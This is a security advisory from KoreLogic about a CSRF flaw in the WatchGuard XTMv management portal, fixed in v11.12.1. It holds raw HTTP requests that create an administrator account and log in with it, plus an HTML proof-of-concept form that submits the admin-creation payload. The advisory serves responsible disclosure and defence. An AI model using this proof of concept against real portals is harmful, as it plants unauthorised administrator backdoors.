Affected Systems
Discovered By
Vulnerability Details
Vulnerability Description
Lack of CSRF protection in the Add User functionality of the XTMv management portal can be leveraged to create arbitrary administrator-level accounts.
Technical Description
As observed below, no CSRF token is in use when adding a new user to the management portal.
POST /put_data/ HTTP/1.1
Host: 1.3.3.7:8080
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 365
Cookie: session_id=50f607247265897581a407bfb8b75e30d2b77287
DNT: 1
Connection: close
{"__class__":"PageSystemManageAdminUsersObj","__module__":"modules.scripts.page.system.PageSystemManageAdminUsersObj","users":[],"add_entries":[{"__class__":"AdminUserObj","__module__":"modules.scripts.vo.AdminUserObj","name":"hacked","domain":"Firebox-DB","role":"Device Administrator","hash":"hacked","enabled":1,"rowindex":-1}],"upd_entries":[],"del_entries":[]}The HTTP response indicates that the changes were successful.
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-Length: 68
Expires: Sun, 28 Jan 2007 00:00:00 GMT
Vary: Accept-Encoding
Server: CherryPy/3.6.0
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Date: Sat, 10 Dec 2016 18:08:22 GMT
Content-Type: application/json
Set-Cookie: session_id=50f607247265897581a407bfb8b75e30d2b77287; expires=Sat, 10 Dec 2016 19:08:22 GMT; httponly; Path=/; secure
Connection: close
{"status": true, "message": ["The changes were saved successfully"]}Now, the newly created backdoor account can be accessed.
POST /agent/login HTTP/1.1
Host: 1.3.3.7:8080
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 414
Cookie: sessionid=515F007C5BD062C2122008544DB127F80000000C; session_id=0a3d24668f5c3b2c7ba7016d179f5f574e1aaf53
DNT: 1
Connection: close
<methodCall><methodName>login</methodName><params><param><value><struct><member><name>password</name><value><string>hacked</string></value></member><member><name>user</name><value><string>hacked</string></value></member><member><name>domain</name><value><string>Firebox-DB</string></value></member><member><name>uitype</name><value><string>2</string></value></member></struct></value></param></params></methodCall>The response below shows the application issuing an authenticated session cookie.
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/xml
Set-Cookie: sessionid=74B0DC5119495CFF2AE8944A625558EC00000008;secure;HttpOnly
Connection: close
Date: Sat, 10 Dec 2016 19:55:26 GMT
Server: none
Content-Length: 751
<?xml version="1.0"?>
<methodResponse>
<params>
<param>
<value>
<struct>
<member><name>sid</name><value>74B0DC5119495CFF2AE8944A625558EC00000008</value></member>
<member><name>response</name><value></value></member>
<member>
<name>readwrite</name>
<value><struct>
<member><name>privilege</name><value>2</value></member>
<member><name>peer_sid</name><value>0</value></member>
<member><name>peer_name</name><value>error</value></member>
<member><name>peer_ip</name><value>0.0.0.0</value></member>
</struct></value>
</member>
</struct>
</value>
</param>
</params>
</methodResponse>Mitigation and Remediation Recommendation
The vendor has remediated this vulnerability in WatchGuard XTMv v11.12.1. Release notes and upgrade instructions are available at:
Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. and Joshua Hardin.
Proof of Concept
<html>
<body>
<form action="https://1.3.3.7:8080/put_data/" method="POST" enctype="text/plain">
<input
type="hidden"
name="{"__class__":"PageSystemManageAdminUsersObj","__module__":"modules.scripts.page.system.PageSystemManageAdminUsersObj","users":[],"add_entries":[{"__class__":"AdminUserObj","__module__":"modules.scripts.vo.AdminUserObj","name":"hacked3","domain":"Firebox-DB","role":"Device Administrator","hash":"hacked3","enabled":1,"rowindex":-1}],"upd_entries":[],"del_entries":[]}"
value=""
/>
<input type="submit" value="Trigger" />
</form>
</body>
</html>The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
Disclosure Timeline
KoreLogic sends vulnerability report and PoC to WatchGuard.
WatchGuard acknowledges receipt of report.
WatchGuard informs KoreLogic that the vulnerability will be addressed in the forthcoming v11.12.1 firmware, scheduled for general availability on or around 2017.02.21.
WatchGuard releases v11.12.1.
KoreLogic public disclosure.
Responsible Disclosure
KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.